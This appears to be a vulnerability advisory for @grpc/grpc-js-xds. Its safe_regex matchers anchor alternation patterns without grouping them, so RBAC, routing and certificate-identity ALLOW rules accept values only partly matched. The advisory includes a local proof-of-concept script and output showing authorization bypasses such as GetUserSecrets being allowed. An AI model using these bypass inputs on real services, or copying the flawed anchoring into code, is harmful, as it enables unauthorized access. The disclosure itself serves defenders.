CVE-2026-126367: @grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation
@grpc/grpc-js implements the core functionality of gRPC purely in JavaScript, without a C++ addon. Before 1.13.2, and from 1.14.0 through 1.14.1, the @grpc/grpc-js-xds SafeRegexValueMatcher and PathSafeRegexValueMatcher add start and end anchors without grouping a supplied top-level alternation. An expression intended to match one of several complete values can therefore match a prefix, substring, or suffix. The affected matchers are used for route selection, xDS credential identity matching, and RBAC URL path, principal name, server name, and header rules. An ALLOW policy using an alternation can consequently accept a method, certificate identity, or header value outside the intended set, while a DENY policy becomes broader rather than permissive. This issue is fixed in versions 1.13.2 and 1.14.2.
Other sources
Summary
The StringMatcher/PathMatcher for saferegex builds its RE2 as ^${regex}$ with no surrounding group. Because alternation has the lowest precedence, a pattern "a|b|c" compiles to /^a|b|c$/ -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with saferegex matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.
Details
src/matcher.ts: SafeRegexValueMatcher and PathSafeRegexValueMatcher both do ts this.targetRegexImpl = new RE2(^${targetRegex}$, 'u');
and apply() returns targetRegexImpl.test(value). With a top-level alternation the anchors bind only to the first/last branch.
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232
src/route.ts (getPredicateForStringMatcher / getPredicateForHeaderMatcher) builds these for every saferegex StringMatcher/HeaderMatcher, and src/rbac.ts uses them for RBAC urlpath permissions/principals, authenticated.principalname (mTLS SAN/CN), requestedservername and header rules. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28
https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47
Proof of concept
In a scratch directory:
npm init -y npm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js node poc.cjs
poc.cjs calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:
js const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js') const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js') const { Metadata } = require('@grpc/grpc-js')
console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)
const sr = regex => ({ matchpattern: 'saferegex', saferegex: { regex } }) const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null, destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' }) const g = parseConfig({ action: 'ALLOW', policies: { p: { permissions: [{ rule: 'urlpath', urlpath: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }], principals: [{ identifier: 'any', any: true }] } } })
console.log('GetUser ', g.apply(info('/acme.Users/GetUser'))) // true (intended) console.log('DeleteUser ', g.apply(info('/acme.Users/DeleteUser'))) // false (control) console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS
Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6):
matcher "admin|editor" -> SafeRegex(/^admin|editor$/u); apply("administrator")=true, apply("not-an-editor")=true ALLOW urlpath /acme.Users/GetUser|/acme.Users/ListUsers: /acme.Users/GetUser -> ALLOWED (intended) /acme.Users/DeleteUser -> denied (control) /acme.Users/GetUserSecrets -> ALLOWED <-- bypass (policy intends deny) control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied ALLOW authenticated principalname spiffe://prod/ns/web/sa/frontend|...ops/sa/admin: spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass
Impact
Users of @grpc/grpc-js-xds who are using saferegex matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.
— GitHub
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@grpc/grpc-js-xdsto a version that resolves this vulnerability.Fixed in 1.13.2 - Upgrade
Upgrade
npm/@grpc/grpc-js-xdsto a version that resolves this vulnerability.Fixed in 1.14.2 - Upgrade
Upgrade
@grpc/grpc-js-xdsto a version that resolves this vulnerability.Fixed in 1.13.2 - Upgrade
Upgrade
@grpc/grpc-js-xdsto a version that resolves this vulnerability.Fixed in 1.14.2
Event History
Frequently Asked Questions
Which deployments are exposed to unintended access decisions?
Deployments using @grpc/grpc-js-xds safe_regex matchers with top-level alternation are affected. Relevant uses include route selection, xDS credential identity matching, and RBAC rules for URL paths, principal names, server names, and headers.
What must an attacker provide to exploit an ALLOW policy?
The attacker must supply a value that satisfies one incorrectly unanchored alternation branch, such as a value with the permitted prefix, a matching substring, or the permitted suffix. This can cause an ALLOW policy intended to permit only complete values to accept values outside the intended set.
How do DENY policies behave when affected?
An affected DENY policy becomes broader rather than permissive. Values that only partially match an alternation branch can be denied unexpectedly.
Which versions are affected and which contain the fix?
Affected versions are those before 1.13.2 and versions 1.14.0 through 1.14.1. The issue is fixed in 1.13.2 and 1.14.2.
How can I identify vulnerable matcher configurations?
Review SafeRegexValueMatcher and PathSafeRegexValueMatcher configurations for safe_regex expressions containing top-level alternation, such as a|b|c. These patterns were interpreted as ^a|b|c$ rather than as a full-string match of the complete alternation.